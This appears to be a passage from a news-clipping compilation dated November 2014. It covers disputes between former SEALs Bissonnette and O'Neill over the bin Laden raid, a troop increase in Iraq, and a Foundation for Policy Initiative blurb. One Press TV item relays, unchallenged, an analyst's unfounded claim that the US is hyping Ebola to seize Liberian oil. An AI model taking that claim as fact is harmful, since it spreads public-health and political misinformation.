Bissonnette had not submitted the book, which gives his account of the bin Laden raid, for prepublication review with the Department of Defense. He has said he was advised by counsel that it was not required.
Getty Images filePeople walk past Osama Bin Laden's compound in Abottabad, Pakistan, where he was killed by U.S. Special Forces on May 2, 2011, the day after the raid.
The Pentagon sent him a letter threatening legal action, and said he had revealed classified information. A DoD investigation also revealed that Bissonnette and six other SEALs had served as advisers on the video game, ''Medal of Honor: Warfighter,'' at Bissonnette's urging. Letters of reprimand, which are damaging to Naval careers, were sent to all seven.
Some of Bissonnette's peers also took issue with the book, which became a No. 1 best-seller. In Bissonnette's account, he's the second man in the SEAL ''stack'' and the second man in bin Laden's bedroom. After a teammate shoots bin Laden Bissonnette puts more bullets into him and helps finish him off.
His account did not match the story that O'Neill was telling Esquire magazine around the same time. O'Neill began talking to writer Phil Bronstein as early as March 2012, while still a SEAL. He left the Navy right around the time Bissonnette's book hit the stands in September. The Esquire article followed less than six months later, in the March 2013 issue.
O'Neill is never named in the story, but he's called ''the Shooter.'' The first line says, ''The man who shot and killed Osama bin Laden sat in a wicker chair in my backyard.'' (Three retired members of SEAL Team Six have confirmed to NBC News that O'Neill is the shooter in the Esquire article.)
U.S. Department of DefenseAn illustrated diagram of Osama bin Laden's compound in Abbotabad, Pakistan.
In the Esquire version of the raid, O'Neill is second in the stack. The first SEAL in the stack, the point man, sees a tall man stick his head out of the bedroom door on the third floor. He fires at least one shot.
''I don't think he hit him,'' O'Neill told Esquire. ''He thinks he might have.''
O'Neill then heads into the room as the point man pushes two women out of the way. O'Neill shoots bin Laden in the face and kills him.
Later, according to the story, the point man seems to accept that he didn't hit bin Laden. At a debrief in Afghanistan, however, he says he took two shots and might have hit bin Laden once. According to the story, he says O'Neill ''finished [bin Laden] off as he was circling the drain.''
Matt Bissonnette doesn't appear at all in this telling. The encounter with bin Laden takes about 15 seconds, and only two men, O'Neill and the point man, are in the room. Later, more SEALs show up. O'Neill told Esquire that ultimately there were many more wounds on the body than the ones he inflicted.
(Update: Robert O'Neill has now said in an on-the-record interview with the Washington Post that he killed bin Laden with a shot to the forehead. He also acknowledges that at least two other SEALS, including Bissonnette, fired shots.)
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According to the Esquire story, when asked by an Obama administration official which SEAL had shot bin Laden, O'Neill responded, ''We all did it.''
That response was in line with the SEAL code, and won him goodwill with fellow SEALs. A former senior SEAL Team Six leader who was involved in the bin Laden mission confirmed that the exchange between O'Neill and the official took place and said, ''It was classy."
But when O'Neill left SEAL Team Six and began making motivational speeches, with part of the unspoken lure for audiences his central role in bin Laden's death, the goodwill began to ebb away. He is not, however, being investigated by the Pentagon.
Courtesy of LeadingAuthorities.comRob O'Neill
The former senior SEAL Team Six leader, who knows both Bissonnette and O'Neill, said he was ''utterly disappointed'' with both men. ''What they've done is dishonorable,'' he said. ''All of this has been done for personal gain.''
He said both men were now persona non grata with SEAL Team Six command in Virginia Beach. After ''No Easy Day'' was published, said the former senior leader, Bissonnette sent a text to the commander of SEAL Team Six. The commander replied, ''Delete me.''
But another former SEAL, while acknowledging that public scrutiny of their actions was fair, defended both Bissonnette and O'Neill. ''They haven't done anything leadership wouldn't have done,'' said James Hatch. ''We are at this place in time because of a double standard. The leadership created that double standard.''
Hatch pointed out that leadership had allowed active-duty SEALs to participate in the movie ''Act of Valor,'' a fictionalized account of SEAL missions against terrorists around the globe. The film was released in February 2012 and capitalized on the bin Laden raid publicity.
Said Hatch, ''The same leadership that promoted and produced 'Act of Valor' now want to punish people who did some heavy lifting. Doesn't that seem odd to people? It's either OK to talk shop or it isn't.''
''I have 40 names in the contact list of my cell phone that are dead. Forty. And not one of those names did it for political gain or Hollywood.''
Bissonnette told NBC News he ''almost has to laugh'' when he hears about the code of silence. ''It's hard for me to take when I've been reading books my whole life about former special operations warriors, Army, Navy, Air Force, Marines. There's how many former generals, how many former CIA directors, how many former secretaries of defense? How many of them all get out and write books?''
The bin Laden mission was ''just another day at the office,'' said Bissonnette, though being a SEAL is the kind of job not everyone survives. ''I have 40 names in the contact list of my cell phone that are dead. Forty. And not one of those names did it for political gain or Hollywood.''
He said he still has ''plenty of friends'' in the SEAL community, and still gets messages of support. But he said the amount of friction in that world is ''very sad,'' and knows he may have contributed to it by writing his first book. He also conceded that criticism from other SEALs, even if they're strangers, can be painful. ''It's tough to hear a lot of different SEALs that I've never met, I've never worked with and I don't know. And they come out and say things. That's tough to hear.''
But, he added, ''They have every right to say it and that's fine.''
As Bissonnette notes, both he and O'Neill offered their versions of events long after other government employees had apparently spoken to journalists about the bin Laden raid. In August 2011, a New Yorker article quoted an unnamed ''counterterrorism official'' in describing the shooting. The New Yorker piece talks about three SEALs assaulting the bedroom, and according to the official, the first SEAL in the stack sees bin Laden through the open door, fires and misses.
The SEALs then head through the door, and the first SEAL pushes two women aside. The second SEAL shoots bin Laden in the chest and the head and then reports, via radio, ''For God and country, Geronimo, Geronimo, Geronimo. Geronimo, E.K.I.A. (Enemy Killed in Action).'' The account doesn't mention what the third SEAL did.
A cinematic account of the bin Laden raid, the box office hit and Oscar winner ''Zero Dark Thirty,'' began shooting on location in February 2012. Some Republicans charged that the Obama administration had provided secret access to the filmmakers. Screenwriter Mark Boal said he had access to sources who had helped him with an unproduced screenplay about the 2001 raid on bin Laden's Tora Bora hideout, and that he spoke to people in the military and the CIA about details of the raid. Both Boal and director Kathryn Bigelow, however, said they relied mostly on open sources for the details of the raid, and had received no classified documents.
Rep. Peter King, R.-N.Y., called for an Inspector General's investigation in August 2011 after learning of reports in the media that Bigelow and Boal had enjoyed access to government officials. A draft report of the internal investigation later showed that CIA Director Leon Panetta had revealed some classified details during an event at CIA headquarters. Boal was part of the large audience.
On Oct. 31, Rear Adm. John Kirby cited the final lines of the finished report to deny that the Pentagon had provided any sensitive information to ''Zero Dark Thirty'' filmmakers.
Said Kirby, ''I'll just read for you the last paragraph: 'Within the Department of Defense, we did not identify instances whereby any Special Operations tactics, techniques and procedures-related information was provided to filmmakers.'
''So, no. There was no active participation by the Department of Defense in that movie to reveal any tactic, technique or procedures or classified information to the movie's filmmakers.''
Follow NBC News Investigations onTwitterandFacebook.
When asked whether Bissonnette remained under investigation, Kirby said, ''I'm not going to speak to the details of an investigation, but I can tell you that there is an investigation ongoing regarding the book 'No Easy Day' and some of the assertions in it.''
A Defense Department official told NBC News Tuesday that at the Defense Department's request, the Justice Department is investigating whether Bissonnette revealed classified information. The official was not aware of any similar request for an investigation of O'Neill.
Kirby had no comment on Oct. 31 when asked about the upcoming Fox interview with the unnamed ''shooter'' of bin Laden, but cited the SEAL code of ethics. ''I think it's something that all individuals who are participating or have knowledge of sensitive operations should follow,'' said Kirby.
Robert O'Neill did not respond to an NBC News request for comment.
-- Courtney Kube contributed reporting to this story
First published November 6 2014, 8:22 AM
VIDEO-President Obama to Send 1,500 More Troops to Iraq - ABC News
Sat, 08 Nov 2014 22:33
More ABC US news | ABC Health NewsCopyPresident Obama authorized the U.S. military to send up to 1,500 more troops to Iraq in a non-combat role to help battle the growing threat of ISIS, officials said today.
In a statement, the Pentagon said Obama had made the decision "at the request of the Iraqi Government."
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"This mission will be undertaken in coordination with multiple coalition partners and will be funded through the request for an Iraq Train and Equip fund that the Administration will submit to Congress," the statement added.
The White House stressed that the troops would function "in a non-combat role to train, advise, and assist Iraqi Security Forces, including Kurdish forces."
This would almost double the amount of troops in Iraq, bringing the total number of U.S. forces to about 3,100.
"Over the coming weeks, as we finalize the training site locations, the United States will work with coalition members to determine how many U.S. and coalition personnel will be required at each location for the training effort," the Pentagon said.
A senior administration official told ABC News there is ''no ceiling'' on the number of U.S. troops who could potentially be sent back to Iraq. But the White House insists that what matters more is that the strict mission still holds -- only to advise, train and assist Iraqi and Kurdish security forces, not to participate in combat.
Officials cited a need for ''geographic flexibility'' in the train and assist mission -'' more troops, they say, gives the U.S. a ''broader base'' and ''greater reach in different parts of the country.''
''It speaks to how to cover the broadest possible ground and provide advice, counsel and intelligence support,'' the official said.
The Associated Press reported that the announcement is part of a $5.6 billion funding request to Congress and came just after Obama met with congressional leaders earlier today.
Get real-time updates as this story unfolds. To start, just "star" this story in ABC News' phone app. Download ABC News for iPhone here or ABC News for Android here. To be notified about our live weekend digital reports, tap here.
VIDEO - US hyping up Ebola to extract oil from West Africa: Analyst
Fri, 07 Nov 2014 06:15
The United States is using the Ebola outbreak as a smokescreen to go on with its plans for extracting natural gas and oil from West Africa, an investigative journalist says.
The Ebola ''hype is to distract everyone from what is actually happening'' in West Africa, Susanne Posel, chief editor of Occupy Corporatism, told Press TV on Thursday.
''What is actually happening in Liberia is they [the US] found out they have natural gas and petrol a hundred years worth or more. They want to extract it and they don't want anyone to give them any problems,'' she noted.
She made the remarks as the Obama administration is deploying thousands of troops to West Africa to help the countries hit by the deadly epidemic control the viral disease.
Posel said that the US mainstream media are hyping up the Ebola epidemic because, ''It makes a hell of a lot of sense to completely confuse people while you are sending troops in to secure an area that a petrol company [ExxonMobil] is going to extract natural gas and [oil].''
The 4000-strong US force deploying to Liberia--one of the three epicenters of the Ebola outbreak-- will be joined by hundreds of British troops in a mission that Washington says is aimed at building medical centers and training healthcare workers.
''I'm really concerned about the Liberians because I think this is not exactly what is happening to them,'' Posel said.
The International Monetary Fund (IMF) and the World Bank (WB) have proposed plans to secure the extraction of natural gas and oil in the Ebola-hit regions.
"There is a country that has natural resources that the IMF, World Bank, the United States and the UK want control over," Posel said, referring to Liberia.
The recent Ebola outbreak started in late 2013 in Guinea and rapidly spread to two more West African countries, Sierra Leon and Liberia.
With no proven treatment and no vaccine, the Ebola epidemic could affect 5,000 to 10,000 new people per week, according to the World Health Organization (WHO).
SB/HRJ
VIDEO-FPI Board Member Robert Kagan Debated President Obama's Foreign Policy in a Munk Debate | Foreign Policy Initiative
Fri, 07 Nov 2014 05:22
The Foreign Policy Initiative seeks to promote an active U.S. foreign policy committed to robust support for democratic allies, human rights, a strong American military equipped to meet the challenges of the 21st century, and strengthening America's global economic competitiveness.Read More

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